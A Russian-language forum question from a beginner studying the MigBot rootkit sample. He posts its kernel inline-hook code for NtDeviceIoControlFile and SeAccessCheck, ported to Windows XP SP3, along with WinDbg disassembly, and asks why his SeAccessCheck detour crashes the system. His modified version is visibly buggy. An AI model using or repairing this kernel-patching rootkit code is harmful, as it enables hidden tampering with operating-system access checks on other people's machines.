Здрасте. У меня общий вопрос по хукам. Сразу замечу что темой занялся недавно ну и разумеется полный ламер(и в хуках и в асме к сожалению ), но хочу разобратся. Короче закачал себе мигбота(это собственно пример загрузки драйвера при помощи ZwSetSystemInformation) с руткит.ком, смотрю в сорци и пытаюсь понять чё к чему. Вот например такой фрагмент кода: Код (Text): NTSTATUS CheckFunctionBytesNtDeviceIoControlFile(){// тут всё ясно int i=0; char *p = (char *)NtDeviceIoControlFile; //========================================================= // windows 2k //The beginning of the NtDeviceIoControlFile function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //6A01 PUSH 01 //FF752C PUSH DWORD PTR [EBP + 2C] //========================================================= // win xp sp 3 // 8bff | mov edi, edi // 55 | push ebp // 8bec | mov ebp, esp // 6a01 | push 1 // char c[] = { 0x55, 0x8B, 0xEC, 0x6A, 0x01, 0xFF, 0x75, 0x2C }; // win 2k char c[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x6a, 0x01}; // win xp sp3 while(i<7){ DbgPrint("NtDeviceIoControlFile - 0x%02X ", (unsigned char)p[i]); if(p[i] != c[i]){ return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; } __declspec(naked) my_function_detour_ntdeviceiocontrolfile()// тут не ясно { __asm { // exec missing instructions // push ebp // win 2k // mov ebp, esp // push 0x01 // push dword ptr [ebp+0x2C] mov edi, edi // win xp sp3 push ebp mov ebp, esp push 1 // jump to re-entry location in hooked function // this gets 'stamped' with the correct address // at runtime. // // we need to hard-code a far jmp, but the assembler // that comes with the DDK will not poop this out // for us, so we code it manually // jmp FAR 0x08:0xAAAAAAAA _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } VOID DetourFunctionNtDeviceIoControlFile()// тут всё ясно { char *actual_function = (char *)NtDeviceIoControlFile; char *non_paged_memory; unsigned long detour_address; unsigned long reentry_address; int i = 0; // assembles to jmp far 0008:11223344 where 11223344 is address of // our detour function, plus one NOP to align up the patch // char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90 };// win 2k char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00}; // win xp sp3 // reenter the hooked function at a location past the overwritten opcodes // alignment is, of course, very important here // reentry_address = ((unsigned long)NtDeviceIoControlFile) + 8; // win 2k reentry_address = ((unsigned long)NtDeviceIoControlFile) + 7; // win xp sp3 non_paged_memory = ExAllocatePool(NonPagedPool, 256); // copy contents of our function into non paged memory // with a cap at 256 bytes (beware of possible read off end of page FIXME) for(i=0;i<256;i++) { ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_ntdeviceiocontrolfile)[i]; } detour_address = (unsigned long)non_paged_memory; // stamp in the target address of the far jmp *( (unsigned long *)(&newcode[1]) ) = detour_address; // now, stamp in the return jmp into our detour // function for(i=0;i<200;i++) { if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])) { // we found the address 0xAAAAAAAA // stamp it w/ the correct address *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; break; } } //TODO, raise IRQL //overwrite the bytes in the kernel function //to apply the detour jmp // for(i=0;i < 8;i++) // win 2k for(i=0;i < 7;i++) // win xp sp3 { actual_function[i] = newcode[i]; } //TODO, drop IRQL } NTSTATUS DriverEntry( IN PDRIVER_OBJECT DriverObject, IN PUNICODE_STRING RegistryPath ){ if(STATUS_SUCCESS != CheckFunctionBytesNtDeviceIoControlFile()){ DbgPrint("Match Failure on NtDeviceIoControlFile!"); return STATUS_UNSUCCESSFUL; } DetourFunctionNtDeviceIoControlFile(); } Ну я так понимаю что смысл в том чтоб NtDeviceIoControlFile вывести из paged pool в nonpaged. Ок, идём дальше. В WinDbg перед исполнением вышепредставленного кода NtDeviceIoControlFile выглядет у меня следующим образом: Код (Text): nt!NtDeviceIoControlFile: 8058efad 8bff mov edi,edi 8058efaf 55 push ebp 8058efb0 8bec mov ebp,esp 8058efb2 6a01 push 1 8058efb4 ff752c push dword ptr [ebp+2Ch] 8058efb7 ff7528 push dword ptr [ebp+28h] 8058efba ff7524 push dword ptr [ebp+24h] 8058efbd ff7520 push dword ptr [ebp+20h] 8058efc0 ff751c push dword ptr [ebp+1Ch] 8058efc3 ff7518 push dword ptr [ebp+18h] 8058efc6 ff7514 push dword ptr [ebp+14h] 8058efc9 ff7510 push dword ptr [ebp+10h] 8058efcc ff750c push dword ptr [ebp+0Ch] 8058efcf ff7508 push dword ptr [ebp+8] 8058efd2 e8a8b8feff call nt!NtAddAtom+0x19b (8057a87f) А после исполнения вот так: Код (Text): nt!NtDeviceIoControlFile: 8058efad ea3806c4850800 jmp 0008:85C40638 8058efb4 ff752c push dword ptr [ebp+2Ch] 8058efb7 ff7528 push dword ptr [ebp+28h] 8058efba ff7524 push dword ptr [ebp+24h] 8058efbd ff7520 push dword ptr [ebp+20h] 8058efc0 ff751c push dword ptr [ebp+1Ch] 8058efc3 ff7518 push dword ptr [ebp+18h] 8058efc6 ff7514 push dword ptr [ebp+14h] 8058efc9 ff7510 push dword ptr [ebp+10h] 8058efcc ff750c push dword ptr [ebp+0Ch] 8058efcf ff7508 push dword ptr [ebp+8] 8058efd2 e8a8b8feff call nt!NtAddAtom+0x19b (8057a87f) Так вот, мой первый вопрос, что вобщем творится от 8058efad ea3806c4850800 jmp 0008:85C40638 до 8058efd2 e8a8b8feff call nt!NtAddAtom+0x19b (8057a87f) И что делает функция my_function_detour_ntdeviceiocontrol()? А второй вопрос следующий. Мигбот был написан под Win 2k , и исходя из общего концепта, стараюсь немного модифицировать код чтоб работал на Хр ну и на Висте потом. С NtDeviceIoControlFile всё вышло ок, но там собственно не сильно трудится нужно было. Следующая функция – SeAccessCheck. WinDbg view (begin): Код (Text): nt!SeAccessCheck: 80564948 8bff mov edi,edi 8056494a 55 push ebp 8056494b 8bec mov ebp,esp 8056494d 53 push ebx 8056494e 33db xor ebx,ebx 80564950 385d24 cmp byte ptr [ebp+24h],bl 80564953 0f8480300100 je nt!CcSetLogHandleForFile+0x263 (805779d9) 80564959 395d08 cmp dword ptr [ebp+8],ebx 8056495c 0f84a4cb0900 je nt!IoCheckFunctionAccess+0x2099f (80601506) 80564962 56 push esi 80564963 8b750c mov esi,dword ptr [ebp+0Ch] 80564966 391e cmp dword ptr [esi],ebx 80564968 0f85b72d0100 jne nt!RtlDeleteAtomFromAtomTable+0x3fc (80577725) 8056496e 57 push edi ........ И модифицированный мною код: Код (Text): NTSTATUS CheckFunctionBytesSeAccessCheck(){ int i=0; char *p = (char *)SeAccessCheck; //===================================================== // win 2k //The beginning of the SeAccessCheck function //should match: //55 PUSH EBP //8BEC MOV EBP, ESP //53 PUSH EBX //33DB XOR EBX, EBX //385D24 CMP [EBP+24], BL //==================================================== // win xp sp 3 // 8bff | mov edi, edi // 55 | push ebp // 8bec | mov ebp, esp // 53 | push ebx // 33db | xor ebx, ebx // 385d24 | cmp byte ptr [ebp+24h], bl // char c[] = { 0x55, 0x8B, 0xEC, 0x53, 0x33, 0xDB, 0x38, 0x5D, 0x24 }; // win 2k char c[] = {0x8b, 0xff, 0x55, 0x8b, 0xec, 0x53, 0x33, 0xdb, 0x38, 0x5d, 0x24}; // win xp sp 3 // while(i<9) while (i<11) { DbgPrint("SeAccessCheck - 0x%02X ", (unsigned char)p[i]); if(p[i] != c[i]) { return STATUS_UNSUCCESSFUL; } i++; } return STATUS_SUCCESS; } __declspec(naked) my_function_detour_seaccesscheck() { __asm { // exec missing instructions // push ebp // win 2k // mov ebp, esp // push ebx // xor ebx, ebx // cmp [ebp+24], bl mov edi, edi // win xp sp3 push ebp mov ebp, esp push ebx xor ebx, ebx cmp byte ptr [ebp+24h], bl _emit 0xEA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0xAA _emit 0x08 _emit 0x00 } } VOID DetourFunctionSeAccessCheck() { char *actual_function = (char *)SeAccessCheck; char *non_paged_memory; unsigned long detour_address; unsigned long reentry_address; int i = 0; // char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00, 0x90, 0x90 };// win 2k char newcode[] = { 0xEA, 0x44, 0x33, 0x22, 0x11, 0x08, 0x00 }; // win xp sp3 // reentry_address = ((unsigned long)SeAccessCheck) + 9; // win 2k reentry_address = ((unsigned long)SeAccessCheck) + 11; // win xp sp3 non_paged_memory = ExAllocatePool(NonPagedPool, 256); for(i=0;i<256;i++) { ((unsigned char *)non_paged_memory)[i] = ((unsigned char *)my_function_detour_seaccesscheck)[i]; } detour_address = (unsigned long)non_paged_memory; *( (unsigned long *)(&newcode[1]) ) = detour_address; for(i=0;i<200;i++) { if( (0xAA == ((unsigned char *)non_paged_memory)[i]) && (0xAA == ((unsigned char *)non_paged_memory)[i+1]) && (0xAA == ((unsigned char *)non_paged_memory)[i+2]) && (0xAA == ((unsigned char *)non_paged_memory)[i+3])) { *( (unsigned long *)(&non_paged_memory[i]) ) = reentry_address; break; } } for(i=0;i < 11;i++) // win xp sp3 { actual_function[i] = newcode[i]; } } Вродебы всё как в оригинале но к сожалению не пашет. После исполнения кода, SeAccessCheck в ВинДбг выглядит так: Код (Text): nt!SeAccessCheck: 80564948 ea3814e1850800 jmp 0008:85E11438 8056494f 8b9851730f84 mov ebx,dword ptr [eax-7BF08CAFh] 80564955 803001 xor byte ptr [eax],1 80564958 0039 add byte ptr [ecx],bh 8056495a 5d pop ebp 8056495b 080f or byte ptr [edi],cl 8056495d 84a4cb0900568b test byte ptr [ebx+ecx*8-74A9FFF7h],ah 80564964 750c jne nt!SeAccessCheck+0x2a (80564972) ... А в детекторе руткитов картина следующая: // Для NtDeviceIoControlFile hooked address: 0x8058efad relative to export: NtDeviceIoControlFile redirect to: - in exection path: NtDeviceIoControlFile // для SeAccessCheck hooked address: 0x80554948 relative to export: SeAccessCheck redirect to: - in exection path: NtAssignProcessToJobObject А сам вызов функции – сразу BSOD. т.е что-то я напартачил сильно и сам не знаю что. И вот хочу спросить что делаю не то и вообще правильным ли путём иду?